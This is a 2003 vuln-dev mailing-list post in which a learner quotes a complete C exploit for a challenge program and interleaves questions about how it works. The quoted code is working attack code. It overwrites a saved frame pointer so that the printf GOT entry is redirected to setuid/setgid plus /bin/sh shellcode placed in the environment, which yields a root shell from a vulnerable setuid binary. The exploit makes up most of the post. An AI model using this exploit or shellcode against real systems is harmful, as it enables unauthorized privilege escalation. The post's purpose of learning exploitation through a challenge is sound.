Re: [Vuln-dev Challenge] Challenge #2

From: Diode Trnasistor (ffddfeat_private)
Date: Sun May 25 2003 - 03:52:22 PDT

  • Next message: Janus N.: "Re: [Vuln-dev Challenge] Challenge #2"

    I realize i'm likelly getting annoying with dumb
    questions, but here goes.  Me and a few friends were
    following this, so i'm going to comment this exploit
    and point out what we absolutelly don't get.
    
    I'm sure there are others with similar questions, and
    i'm also sure it's easy to assume that the reader
    knows things which seem trivial to those who wrote
    these pieces of code.  Maybe this will help us all.
    
    Rereading my comments below i get the sense that there
    is some well known order to how environment is laid
    out in relation to the process.  I think the source of
    our lack of understanding is not knowing this order. 
    I also get the feeling that some exploitation
    technique is taking place, based on overwriting the
    frame pointer, again, i don't think we know anything
    about it.  Any sort of explonation would be most
    welcome, and i'm sure we'll pick it up quick.  And
    that's the point of this whole thing, isn't it?
    
    Here goes:
    
    --- "Janus N. Tøndering" <janusat_private> wrote:
    > Simple exploit. But it works.
    > 
    > -- 
    > Janus N. Tøndering <janusat_private>
    ### COMMENT! hey i know this...
    > > /* 
    > 	 vuln-dev challenge #2 exploit
    > 	 janusat_private
    > 
    > 	 this needs executable stack and fixed stackbase.
    > So
    > 	 it is rather simple. Oh, and it runs on Linux/x86
    > */
    > 
    ### includes! i know this too!
    > #include <stdio.h>
    > #include <string.h>
    > #include <unistd.h>
    > #include <stdlib.h>
    > 
    ### Defining paths to objdump and grep both
    ### used to get the GOT adress of printf
    ### i get this too...
    > #define OBJDUMP "/usr/bin/objdump"
    > #define GREP    "/bin/grep"
    > 
    > #define PRINTF (0x08049780) /* printf GOT entry */
    
    ### i'd like to know how exactly you determined that
    ### the actuall size allocated is 108
    > #define BFSIZE 108          /* actual size allocated
    > on the stack 
    > 															 using gcc (GCC) 3.2.2 20030222 
    > 															 (Red Hat Linux 3.2.2-5) */
    > 
    > const char *victim = "./vulndev-2";
    > 
    ### the shellcode..i get this too.
    > char shellcode[] = 
    > 	/* setuid and setgid */
    > 	"\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
    > 	"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"
    > 	/* the Aleph One shellcode */
    > 
    >
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    > 
    >
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    > 	"\x80\xe8\xdc\xff\xff\xff/bin/sh";
    > 
    ### ok got this too, after the bfp is the saved eip
    ### ..right? Why did you not mention the eip?
    ### is it irrelevant to this code somehow?
    > /* stack layout is like this i vulndev-2:
    > 	 [  f1  ][  buf  ][  bfp  ]
    > */
    > 
    ### prototyping the function which will get the
    ### GOT adress, i get this.
    > int gotof(const char *exe, const char *function);
    > 
    ### the function itself, i get this too.
    > int gotof(const char *exe, const char *function) {
    > 	char command[255];
    > 	int got = 0;
    > 	FILE *f;
    > 
    > 	snprintf(command, 255, "%s -R %s | %s ' %s$'|awk '{
    > print $1 }'",
    > 			OBJDUMP, exe, GREP, function);
    > 	
    > 	f = popen(command, "r");
    > 	if(f == NULL) return 0;
    > 	if(fscanf(f, "%x\n", &got) == 0) {
    > 		fclose(f);
    > 		return 0;
    > 	}
    > 	fclose(f);
    > 	return got;
    > }
    > 	
    ### main, I KNOW MAIN!
    > int
    > main(int argc, char **argv) {
            ### the environment to pass to exec*
    > 	char *env[3] = { shellcode, NULL };
            ### ok so you don't seem to be interested
            ### in overwriting the eip, but just the base
            ### stack frame pointer, WHY?
    > 	char arg1[BFSIZE+4+1]; /* size of "buf" + bfp
    > pointer + 1 */
            ### string representation of the adress of
            ### shellcode.
    > 	char arg2[5];          /* address of shellcode */
            ### multipurpose pointer!
    > 	char *p;               /* running pointer */
            ### numerical representation of the adress
            ### in argv2
    > 	int saddr;             /* address of shellcode */
            ### numerical representation of the GOT
            ### of printf.
    > 	int printf_got;        /* GOT address of PRINTF in
    > victim */
    > 
            ### don't see why this is so important.
            ### why is it important?
    > 	/* make sure db.log does not exist already */
    > 	unlink("db.log");
    > 
            ### ok, assign the GOT adress of printf
            ### to printf_got.
    > 	if((printf_got = gotof(victim, "printf")) == 0)
    > 		return EXIT_FAILURE;
    > 
    > 	/* create first argument */
            ### make p point to the adress or arg1
            ### which will overwrite the first byte of
            ### saved ebp.
    > 	p = arg1+BFSIZE;
            ### fill argv1 with A's up to the byte
            ### pointed to by p.
    > 	memset(arg1, 'A', BFSIZE);
            ## ...MEDIC! what is this?  What are you doin?
            ## WHY are you doing it? omg halp!
            ## Asigning the adress of printf_got-2 to
            ## to the adress pointed to by p?
    > 	*((void**)p) = (void*)(printf_got - 2); /* to avoid
    > ';;' */
            ## ok so we're null terminating argv1
            ## i'm down with that.
    > 	p+=4; *p = 0x00;
    > 
    > 	/* calculate address of shellcode. Assumes fixed
    > stack-base
    > 		 and Linux os */
            ## few questions on this one.
            ## where did you get the 0xbffffffa?
            ## also how did you get it.
            ## Why are we subtracting the lenght of 
            ## the name of the vulnerable program from it?
            ## And worse yet we're subtracting the lenght
            ## of the shellcode from that, so now i'm 
            ## really lost.  I'm inclined to think this
            ## has something to do with the environment.
            ## but i can't for the life of me figure out 
            ## what.
    > 	saddr = 0xbffffffa - strlen(victim) -
    > strlen(shellcode);
    
            ## ok make argv2 point to value of saddr.
    > 	*((char**)arg2) = (char *)(saddr);
    > 	
    > 	printf("[i] shellcode is at 0x%08x\n", saddr);
    > 	printf("[i] printf GOT is 0x%08x\n", printf_got);
    > 	printf("[i] using 0x%08x as GOT\n", printf_got -
    > 2);
    > 	
            ### i cry so much.
            ### let's see what we're doing.
            ### so we're killing ourselves and replacing
            ### ourselves with an instance of vulnerable
            ### program.  To it we're passing arg1, 108
            ### first bytes of which are filled with A's
            ### and which will fit into the buf buffer
            ### and then the next four bytes are the 
            ### adress of printf.  This adress of printf
            ### will overwrite the frame base pointer on
            ### the stack.  This somehow helps us, i 
            ### fail to see how.  As the second argument
            ### we pass the numerical adress which again
            ### somehow points to the shellcode which
            ### in environment.  I don't know how we
            ### derived this adress, but we somehow did.
            ### i also don't know how this adress gets 
            ### used.  Vuln2 doesnt' seem to touch it.
            ### Anyways, after this is done i'm supposed
            ### to have a shell.  I really don't 
            ### understand how.
    > 	execle(victim, victim, arg1, arg2, NULL, env);
    > 	return EXIT_FAILURE;
    > }
    > 
    > 
    > 
    
    __________________________________
    Do you Yahoo!?
    The New Yahoo! Search - Faster. Easier. Bingo.
    http://search.yahoo.com
    



    This archive was generated by hypermail 2b30 : Mon May 26 2003 - 00:22:08 PDT